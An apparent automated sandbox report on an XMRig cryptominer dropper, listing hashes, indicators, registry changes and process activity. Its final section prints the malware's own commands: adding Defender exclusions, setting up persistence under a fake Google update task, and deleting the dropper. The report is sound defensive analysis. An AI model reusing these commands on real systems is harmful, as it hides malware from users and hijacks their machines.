Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1798s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
M8xUNW42QxTLMRXN.exeupdater.execonhost.exedescription pid process target process PID 4420 created 3440 4420 M8xUNW42QxTLMRXN.exe Explorer.EXE PID 4420 created 3440 4420 M8xUNW42QxTLMRXN.exe Explorer.EXE PID 4420 created 3440 4420 M8xUNW42QxTLMRXN.exe Explorer.EXE PID 4420 created 3440 4420 M8xUNW42QxTLMRXN.exe Explorer.EXE PID 456 created 3440 456 updater.exe Explorer.EXE PID 456 created 3440 456 updater.exe Explorer.EXE PID 456 created 3440 456 updater.exe Explorer.EXE PID 4252 created 3440 4252 conhost.exe Explorer.EXE PID 456 created 3440 456 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral20/memory/2544-125-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-128-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-132-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-134-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-135-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-137-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-141-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-143-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-145-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-147-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-149-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-151-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-153-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-155-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-157-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-159-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-161-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-163-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-165-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-167-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-169-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-171-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-173-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-175-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-177-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-179-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-181-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-183-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-185-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-187-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig behavioral20/memory/2544-189-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 456 updater.exe -
Processes:
resource yara_rule behavioral20/memory/2544-125-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-128-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-132-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-134-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-135-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-137-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-141-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-143-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-145-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-147-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-149-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-151-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-153-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-155-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-157-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-159-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-161-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-163-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-165-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-167-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-169-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-171-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-173-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-175-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-177-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-179-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-181-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-183-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-185-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-187-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx behavioral20/memory/2544-189-0x00007FF6BFDA0000-0x00007FF6C0594000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 456 set thread context of 4252 456 updater.exe conhost.exe PID 456 set thread context of 2544 456 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
M8xUNW42QxTLMRXN.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe M8xUNW42QxTLMRXN.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
M8xUNW42QxTLMRXN.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 4420 M8xUNW42QxTLMRXN.exe 4420 M8xUNW42QxTLMRXN.exe 2108 powershell.exe 2108 powershell.exe 4420 M8xUNW42QxTLMRXN.exe 4420 M8xUNW42QxTLMRXN.exe 656 powershell.exe 656 powershell.exe 4420 M8xUNW42QxTLMRXN.exe 4420 M8xUNW42QxTLMRXN.exe 4420 M8xUNW42QxTLMRXN.exe 4420 M8xUNW42QxTLMRXN.exe 4620 powershell.exe 4620 powershell.exe 456 updater.exe 456 updater.exe 2996 powershell.exe 2996 powershell.exe 456 updater.exe 456 updater.exe 1460 powershell.exe 1460 powershell.exe 456 updater.exe 456 updater.exe 4252 conhost.exe 4252 conhost.exe 456 updater.exe 456 updater.exe 456 updater.exe 456 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2108 powershell.exe Token: SeDebugPrivilege 656 powershell.exe Token: SeIncreaseQuotaPrivilege 656 powershell.exe Token: SeSecurityPrivilege 656 powershell.exe Token: SeTakeOwnershipPrivilege 656 powershell.exe Token: SeLoadDriverPrivilege 656 powershell.exe Token: SeSystemProfilePrivilege 656 powershell.exe Token: SeSystemtimePrivilege 656 powershell.exe Token: SeProfSingleProcessPrivilege 656 powershell.exe Token: SeIncBasePriorityPrivilege 656 powershell.exe Token: SeCreatePagefilePrivilege 656 powershell.exe Token: SeBackupPrivilege 656 powershell.exe Token: SeRestorePrivilege 656 powershell.exe Token: SeShutdownPrivilege 656 powershell.exe Token: SeDebugPrivilege 656 powershell.exe Token: SeSystemEnvironmentPrivilege 656 powershell.exe Token: SeRemoteShutdownPrivilege 656 powershell.exe Token: SeUndockPrivilege 656 powershell.exe Token: SeManageVolumePrivilege 656 powershell.exe Token: 33 656 powershell.exe Token: 34 656 powershell.exe Token: 35 656 powershell.exe Token: 36 656 powershell.exe Token: SeIncreaseQuotaPrivilege 656 powershell.exe Token: SeSecurityPrivilege 656 powershell.exe Token: SeTakeOwnershipPrivilege 656 powershell.exe Token: SeLoadDriverPrivilege 656 powershell.exe Token: SeSystemProfilePrivilege 656 powershell.exe Token: SeSystemtimePrivilege 656 powershell.exe Token: SeProfSingleProcessPrivilege 656 powershell.exe Token: SeIncBasePriorityPrivilege 656 powershell.exe Token: SeCreatePagefilePrivilege 656 powershell.exe Token: SeBackupPrivilege 656 powershell.exe Token: SeRestorePrivilege 656 powershell.exe Token: SeShutdownPrivilege 656 powershell.exe Token: SeDebugPrivilege 656 powershell.exe Token: SeSystemEnvironmentPrivilege 656 powershell.exe Token: SeRemoteShutdownPrivilege 656 powershell.exe Token: SeUndockPrivilege 656 powershell.exe Token: SeManageVolumePrivilege 656 powershell.exe Token: 33 656 powershell.exe Token: 34 656 powershell.exe Token: 35 656 powershell.exe Token: 36 656 powershell.exe Token: SeIncreaseQuotaPrivilege 656 powershell.exe Token: SeSecurityPrivilege 656 powershell.exe Token: SeTakeOwnershipPrivilege 656 powershell.exe Token: SeLoadDriverPrivilege 656 powershell.exe Token: SeSystemProfilePrivilege 656 powershell.exe Token: SeSystemtimePrivilege 656 powershell.exe Token: SeProfSingleProcessPrivilege 656 powershell.exe Token: SeIncBasePriorityPrivilege 656 powershell.exe Token: SeCreatePagefilePrivilege 656 powershell.exe Token: SeBackupPrivilege 656 powershell.exe Token: SeRestorePrivilege 656 powershell.exe Token: SeShutdownPrivilege 656 powershell.exe Token: SeDebugPrivilege 656 powershell.exe Token: SeSystemEnvironmentPrivilege 656 powershell.exe Token: SeRemoteShutdownPrivilege 656 powershell.exe Token: SeUndockPrivilege 656 powershell.exe Token: SeManageVolumePrivilege 656 powershell.exe Token: 33 656 powershell.exe Token: 34 656 powershell.exe Token: 35 656 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid process target process PID 4316 wrote to memory of 3164 4316 cmd.exe choice.exe PID 4316 wrote to memory of 3164 4316 cmd.exe choice.exe PID 4620 wrote to memory of 2768 4620 powershell.exe schtasks.exe PID 4620 wrote to memory of 2768 4620 powershell.exe schtasks.exe PID 456 wrote to memory of 4252 456 updater.exe conhost.exe PID 4600 wrote to memory of 2916 4600 cmd.exe WMIC.exe PID 4600 wrote to memory of 2916 4600 cmd.exe WMIC.exe PID 456 wrote to memory of 2544 456 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3440
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4420
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2108
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:656
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4620
